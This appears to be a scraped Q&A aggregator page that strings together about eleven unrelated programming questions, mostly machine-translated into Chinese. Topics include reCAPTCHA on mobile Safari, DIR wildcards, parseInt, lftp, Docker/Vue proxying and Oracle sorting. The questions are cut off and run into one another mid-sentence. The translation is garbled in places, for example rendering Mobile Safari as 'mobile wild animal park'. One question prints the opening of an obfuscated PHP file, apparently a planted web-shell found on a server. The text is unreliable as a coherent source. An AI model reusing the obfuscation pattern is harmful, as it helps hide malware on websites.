我有一个简单的联系表格的网站.验证有点微小,因为它不会进入数据库; 只是一封电子邮件 表格如下:
有5个字段 - 其中4个是必需的.提交被禁用,直到4个字段有效,然后您可以提交.然后在服务器上再次验证所有内容,包括recaptcha(我的客户端未验证).整个过程使用ajax完成,并且有多个测试必须在服务器端传递或返回4**头,并调用失败回调处理程序.
一切都像桌面上的Chrome浏览器一样(我没有尝试过其他浏览器,但我无法想象他们为什么会有所不同),但是在iPhone上,即使我没有选中复选框,reCaptcha仍会验证考试.
换句话说:我仍然需要正确填写四个值才能提交,但如果我没有选中reCaptcha的方框,请求仍然会成功.
我可以发布一些代码,如果有人认为这将有所帮助,但似乎问题在于设备而不是代码.有没有人对此有任何见解?
注意:如果这有用,服务器端是PHP/Apache.
更新:2015年5月28日:
我还在调试这个,但似乎Mobile Safari忽略了我的iPhone上的响应标题.当我将响应输出到页面时,我在桌面上获得的(data,status,xhr)是:
data:我的回答在这一点上只是说错误或成功 - >error
status: error
xhr: {'error',400,'error'}
在移动野生动物园:
data: error
status: success
xhr: {'error',200,'success'}
所以 - 它似乎只是忽略了我的响应头.我试着明确设置{"headers":{"cache-control":"no-cache"}}但无济于事.
更新:2015年6月3日
每个请求,这是代码.这几乎可以肯定超过你的需要.由于我试图修复它所做的改变,它也变得更加迟钝.另请注意,虽然可能看起来存在尚未定义的变量,但它们(应该)已在其他文件中定义.
The client side
$('#submit').on('click', function(e) {
$(this).parents('form').find('input').each(function() {
$(this).trigger('blur');
})
var $btn = $(this);
$btn = $btn.button('loading');
var dfr = $.Deferred();
if ($(this).attr('disabled') || $(this).hasClass('disabled')) {
e.preventDefault();
e.stopImmediatePropagation();
dfr.reject();
return false;
} else { …Run Code Online (Sandbox Code Playgroud) 我在寻找名字中带有数字的文件时偶然发现了这一点.当我输入:
dir *数*
(其中数字表示0到9之间的任何数字,星号和数字之间没有空格)
在cmd.exe命令提示符下,它返回任何不符合搜索条件的文件.有点奇怪的是,取决于目录,一些数字将起作用,而不是其他数字.例如,在与网站关联的目录中,我键入以下内容:
dir *4*
Run Code Online (Sandbox Code Playgroud)
返回的是:
Directory of C:\Ampps\www\includes\pages
04/30/2012 03:55 PM 153 inventory_list_retrieve.php
06/18/2012 11:17 AM 6,756 ix.html
06/19/2012 01:47 PM 257,501 jquery.1.7.1.js
3 File(s) 264,410 bytes
0 Dir(s) 362,280,906,752 bytes free
这对我没有任何意义.任何线索?
问题出在stackOverflow上,因为DIR命令通常与批处理程序中的FOR结合使用.奇怪的DIR行为似乎会使批处理程序在使用DIR命令时可能不可靠.
编辑:(附加说明).虽然已经过了很长时间,但我发现了另一个怪癖,这几乎让我付出了很多努力.我想删除.htm特定目录树中的所有文件.我之前就意识到它也*.htm匹配.html文件.此外,*.man匹配.manifest,可能还有其他.删除.html该特定目录中的所有文件至少可以说是令人沮丧.
我正在为IOS构建一个phonegap应用程序,我有一个<p>标签,其内容必须恰好是一行.
这些元素具有设备的整个宽度减去一点外部填充.我想要的是文本扩展到尽可能大的字体大小而不包装到下一行,没有被省略号截断或被剪切或溢出.
到目前为止,我可以通过精确设置字体大小来实现这一目标(可以完成 - 只有大约10个设备可以考虑),但我宁愿让IOS UIWeview显示出来.
用CSS实现这一点是否可行?
我有一种习惯,即我处于边缘强迫状态,但我认为可能完全没有必要.使用以下代码:
function abc(){
var a,b;
for(var i=0;i<10;i++){
a=document.getElementsByTagName('LI').item(i).width;
b=document.getElementsByTagName('DIV').item(i).width;
// now do something with a and b
}
return;
}
Run Code Online (Sandbox Code Playgroud)
我强迫在循环之前声明变量而不是:
function abc(){
for(var i=0;i<10;i++){
var a=document.getElementsByTagName('LI').item(i).width;
var b=document.getElementsByTagName('DIV').item(i).width;
// now do something with a and b
}
return;
}
Run Code Online (Sandbox Code Playgroud)
请注意,在第二个代码块中,我var每次循环迭代时都定义变量.我想第一个是可读性等的最佳实践.但有时候我只是在攻击某些东西而不需要遵循最佳实践.
我的问题是:
是否有任何理由不定义将使用var循环内的关键字重新定义的变量?
鉴于:
var obj={0:21,1:22}
Run Code Online (Sandbox Code Playgroud)
和
var arr=[21,22]
Run Code Online (Sandbox Code Playgroud)
为什么要parseInt(obj)回归NaN,但要parseInt(arr)回归21?
我有一个函数,我要么传递int一个哈希类型object或一个普通的array.我期待parseInt重返NaN两个object和array,从而简化参数检查.是什么赋予了?
我确信有一种简单的方法可以做到这一点,但我找不到它.我想要做的是使用lftp执行一系列命令,我想尽可能避免重复连接到服务器.
基本上,我有一个文件,其中列出了服务器上的ftp目录.我想连接到服务器,然后执行如下所示的事情:(假设此时我已经使用cat将文本文件转换为行数组)
for f in "${myarray}"
do
cd $f;
nlist >> $f.txt;
cd ..;
done
Run Code Online (Sandbox Code Playgroud)
当然这不起作用,但我必须想象有一个简单的解决方案,我想要实现的目标.
在shell脚本方面,我很缺乏经验.有什么建议?
It seems to me that it is infinitely better to define media queries in the HTML file within the link> tag rather than by using @media only... in external CSS files.
You can have a large number of specific files modularized quite nicely and extremely specifically depending on what device is being targeted, and only the files you need will be retrieved. I can't think of a single reason not to use this method, or a single instance where it …
public_html我在我正在处理的场景的目录中发现了几个奇怪的文件。我称它们为奇怪是因为:
wolakfie.php、txvepdhxy.php等。现在,我不是第一个在这个网站上工作的开发人员,所以理论上他们过去可以做一些事情。以下是其中一个文件的内容示例:
<?php
$immanuel='JP';$armory='[L[r=t_ii';$forehead='e';$avowal ='G$I(P'; $hewett ='r';$blockading='c'; $folly= ' '; $balking='c';$caste= '$'; $aspirate ='?ca=R';$hegemony =')t,)aRo]';
$closing = 'e'; $knell ='epI$';
$delays ='R';$authors ='t';
$immortal ='r'; $displace='S'; $decomposition = 's'; $bastard = 'S';$aurelia='G'; $bisexual= 'H'; $canteen='R';$cager = 'O'; $lorain= 'r]Ogp$';$branden = 'r'; $durant ='(';$lacquered='?gD)(<ls$';$dreamt = '[tPv';$earls ='N;o")(_('; $flowing = 'o';$lactate =';'; $cabaret = 'ri"g)sEyr';
$censor = '@';
$asparagus= 'T""';
$graying= 'leopua';
$casper = 'e';$kiah='sraKTO';$become = 'CiiS';$flak= ':';
$madmax='_n(H';$economizing= 'Egf$v'; $clatter = …Run Code Online (Sandbox Code Playgroud) 在这里尝试正确设置这个有点疯狂。我在 docker 中使用 devServer 运行 Vue,然后运行 json-server 的单独卷,用于提供假 api 数据。首先,我很乐意让这个简单的示例工作,但我不断收到代理错误。这是我当前的配置。
码头工人组成:
version: "3.7"
services:
front:
container_name: front
build: .
volumes:
- .:/app
- ./node_modules:/app/node_modules
ports:
- '8080:8080'
api:
image: vimagick/json-server
command: -H 0.0.0.0 -p 3000 -w db.json
ports:
- "3000:3000"
volumes:
- ./server/data:/data
Run Code Online (Sandbox Code Playgroud)
Dockerfile:
FROM node:lts-alpine as front
# install simple http server for serving static content
RUN npm install -g @vue/cli
# make the 'app' folder the current working directory
WORKDIR /app
# Add necessary files to app
ENV …Run Code Online (Sandbox Code Playgroud) 我正在寻找一种方法来完成类似于Oracle的模糊搜索.如果已经回答了这个问题,我很乐意接受一个链接,但我对Oracle很新,我甚至不确定如何快速搜索我想要的内容.
给出以下查询:
SELECT VEND_CUST_CD, LGL_NM, ALIAS_NM
FROM {{DB_NAME}}.{{DB_TABLE}}
WHERE ({{condition_1}}) AND ({{condition_2}}) AND (upper(LGL_NM) LIKE upper('%{{term}}%')
ORDER BY LGL_NM
Run Code Online (Sandbox Code Playgroud)
我想在回复中得到的是一个特定的订单.让我们想象term= ze出于此目的.
我想像这样订购结果:
因此,我首先得到的是开头的单词,term然后是包含term在其中的按字母顺序排列的单词列表.
我希望这很清楚.
我想要的是类似以下内容:
let x=32
let y=x===32 ?: 7;
Run Code Online (Sandbox Code Playgroud)
我现实生活中的例子更像是这样的:
inlineFunction(parameterWithLongNameIAmTesting===20000?parameterWithLongNameIAmTesting:anotherLongNameVariable);
Run Code Online (Sandbox Code Playgroud)
基本上使三元短路。我想y等于x当且仅当x=== 32。在上面的情况下,分配给的值y将是 32。但是,如果我分配x给等于 50 或其他任何值,则将y等于 7。
javascript 中有内置的方法可以做到这一点吗?
javascript ×3
html ×2
loops ×2
php ×2
apache ×1
bash ×1
batch-file ×1
cmd ×1
command-line ×1
css ×1
css3 ×1
dir ×1
docker ×1
ftp ×1
iphone ×1
lftp ×1
malware ×1
oracle ×1
parseint ×1
performance ×1
proxy ×1
recaptcha ×1
select ×1
shell ×1
sql ×1
sql-like ×1
sql-order-by ×1
validation ×1
variables ×1
vue.js ×1
windows ×1